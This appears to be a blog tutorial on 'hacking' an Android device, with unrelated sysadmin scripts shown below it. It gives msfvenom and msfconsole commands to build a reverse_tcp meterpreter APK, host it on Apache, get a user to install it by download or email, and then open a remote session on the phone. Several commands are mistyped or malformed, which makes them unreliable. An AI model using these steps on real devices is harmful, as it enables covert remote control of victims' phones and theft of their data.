Skip to main content

Demo for Mobile (Andriod) App Hacking using Kali Linux and Metasploit Framework


What is Kali Linux ? 

 Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali contains several hundred tools which are geared towards various information security tasks, such as Penetration Testing, Security research, Computer Forensics and Reverse Engineering.
What is Metasploit Framework ? 

 The Metasploit Framework is an open source penetration testing and development platform that provides exploits for a variety of applications, operating systems and platforms. Metasploit is one of the most commonly used penetration testing tools and comes built-in to Kali Linux.

 Please follow the below for the Testing of Andriod Mobile  using Vulnerable Mobile App (Using Metasploit Framework)

1. Install the KALI LINUX in Virtual BOX/VMWARE

2. Install the Andriod OS in Virtual Box  from https://www.osboxes.org/android-x86/


Android-x86 4.4-r4 (download this Version)
3.Please follow the below for the Testing of Andriod using App (Using Metasploit Framework)


4. Create the MALWARE for Andriod


#msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.50.21-o /root/fun.apk


5. Share the app to user/Mobile Phone  using apache or Email.


#start apache2 start
#start postgresql start

Borwse the IP to verify the Web server is Running

Create the Folder in /var/www/html/fun/

Copy the file fun.apk to /var/www/html/fun/


6. In the Kali VM Start the postgresql by using 

# service postgresql start
#msfconsole
msf>set payload andriod/meterpreter/reverse_tcp
msf exploit(handle)>set LHOST 192.168.50.21(KALI VM IP ADDRESS)
msf .....>show options
msf......> exploit -j z

(We need to Wait for Andriod Device to install APK)

Browse the Website /fun/ & Install fun.apk
In andriod go to Download and install apk See the permission


Go to Kali Linux We will see the session is there

>sessions -i 1
>help
(It will show the commands)
>ifconfig
>ps
>ls



Comments

Post a Comment

Popular posts from this blog

Password Expiry notification for the users in zimbra 8.x within 7 Days for the email users

This Script will run as cron tab daily basis and it will alert the users for whom password is going to expire within 7 days. It will also alert admin for the users for whom password expired. Kindly replace the domain.com with your own domain name and the  /opt/zimbra/postfix-2.10.3.2z/sbin/sendmail  path to the actual path of postfix #!/bin/bash #Script for zimbra password expiry email notification. # Meant to be performed as daily cronjob run as zimbra user.  # redirect output to a file to get a 'log file' of sorts. # Time taken of script; echo "$SECONDS Started on: $(date)" # Set variables: # First notification in days, then last warning: FIRST="7" LAST="3" # pass expiry in days, we are assuming passwd exiry is 150 Days POLICY="150" # Sent from: FROM="admin@domain.com" # Get all users - it should run once only. USERS=$(ionice -c3 /opt/zimbra/bin/zmprov -l gaa domain.com) #Todays date, in seconds: DATE...
Post a Comment
Read more

The Script for Temperature Alert using email from the Linux Server (If it Cross 40 c)

#! /bin/bash TEMP=$(sensors | grep "id 0" | cut -d + -f2 | cut -d . -f1) if [ "$TEMP" -ge 40 ]; then echo $TEMP date > /tmp/temp sensors >> /tmp/temp TEMP_BODY=" Hello Helpdesk Team, This is the Temperature Alert Message for ABC Server at DC Location,CITY : $(cat /tmp/temp) Regards, Datacenter TEAM " echo "Subject: ALERT High Temperature for Server at DC Location " "$TEMP_BODY" | /opt/postfix-2.10.3.2z/ sbin/sendmail -t email@domain.com fi In this Script Replace the email@domain.com with Correct Email id and Sendmail path with correct Send-mail path. In this script we are monitoring the CPU Temperature. This Script will work on Linux Server (Red Hat/Centos ) 
Post a Comment
Read more

Change of hostname for Redhat Linux/Cent OS /Fedora / Ubuntu / Suse Linux

1. Change of Hostname for Redhat / Fedora / Cent OS Linux  First Check the Current  hostname Login as root or do su. # hostname It will show the current hostname for e.g.testserver new hostname : prodserver go to the file /etc/sysconfig/network # vi /etc/sysconfig/network NETWORKING=yes HOSTNAME=testserver change the HOSTNAME to new name e.g. prodserver & save the file & quit. or prodserver.domain.com After  this we need to reboot the server. For  current change we can use the below mentioned command # hostname prodsever c heck the file /etc/hosts & edit the entry if there is any for the IP Address & Hostname 2. For Ubuntu Linux # vi /etc/ hostname Delete old name and add new name: prodserver.jogi.com Save and close the file. Type the following command: # hostname prodserver.jogi.com     Change the /etc/hosts file with new hostname. 3. For Suse Linux #vi  /etc/HOSTNAME  Delete old name ...
Post a Comment
Read more